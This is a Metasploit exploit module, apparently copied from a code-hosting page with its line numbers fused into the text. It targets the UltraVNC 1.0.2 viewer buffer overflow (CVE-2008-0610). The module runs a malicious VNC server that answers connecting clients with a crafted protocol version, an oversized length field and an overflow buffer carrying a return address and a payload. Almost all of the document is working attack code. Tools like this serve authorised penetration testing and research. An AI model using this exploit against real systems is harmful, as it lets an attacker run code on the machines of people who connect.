Path: blob/master/modules/exploits/windows/vnc/ultravnc_viewer_bof.rb
19593 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::TcpServer910def initialize(info = {})11super(12update_info(13info,14'Name' => 'UltraVNC 1.0.2 Client (vncviewer.exe) Buffer Overflow',15'Description' => %q{16This module exploits a buffer overflow in UltraVNC Viewer 1.0.2 Release.1718If a malicious server responds to a client connection indicating a minor19protocol version of 14 or 16, a 32-bit integer is subsequently read from20the TCP stream by the client and directly provided as the trusted size for21further reading from the TCP stream into a 1024-byte character array on22the stack.23},24'Author' => 'noperand',25'License' => MSF_LICENSE,26'References' => [27[ 'CVE', '2008-0610' ],28[ 'OSVDB', '42840' ],29[ 'BID', '27561' ],30],31'DefaultOptions' => {32'EXITFUNC' => 'thread',33},34'Payload' => {35'Space' => 500,36},37'Platform' => 'win',38'Targets' => [39[ 'Windows XP SP3', { 'Ret' => 0x00421a61 } ], # vncviewer.exe, 1.0.240],41'Privileged' => false,42'DisclosureDate' => '2008-02-06',43'DefaultTarget' => 0,44'Notes' => {45'Reliability' => UNKNOWN_RELIABILITY,46'Stability' => UNKNOWN_STABILITY,47'SideEffects' => UNKNOWN_SIDE_EFFECTS48}49)50)5152register_options(53[54OptPort.new('SRVPORT', [ true, "The VNCServer daemon port to listen on", 5900 ])55]56)57end5859def on_client_connect(client)60return if ((p = regenerate_payload(client)) == nil)6162sploit = rand_text_alpha(1100) # junk, could be more efficient here63sploit << "\x00\x04\x00\x00" # value to get around a write64sploit << rand_text_alpha(12) # random junk65sploit << "\xEB\x06" << make_nops(2) # short relative jump66sploit << [target.ret].pack('V') # pop/pop/ret (default is in vncviewer.exe)67sploit << payload.encoded6869=begin70We prepend the initial 12 bytes including the servers' desired protocol version ("RFB 003.016").71- These bytes are read directly by a call to ReadExact() with a size of 12.7273...74if (m_minorVersion == 14 || m_minorVersion == 16)75{76int size;77ReadExact((char *)&size,sizeof(int));78char mytext[1024]; //10k79ReadExact(mytext,size);80mytext[size]=0;81...8283If minor version is 16 or 14, a 32-bit integer follows indicating the size of our data to read.84We then append our data.85=end86sploit = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x31\x36\x0a" << [sploit.length].pack('N') << sploit8788print_status("Sending #{sploit.length} bytes to #{client.getpeername}:#{client.peerport}...")89client.put(sploit)90handler(client)91service.close_client(client)92end93end949596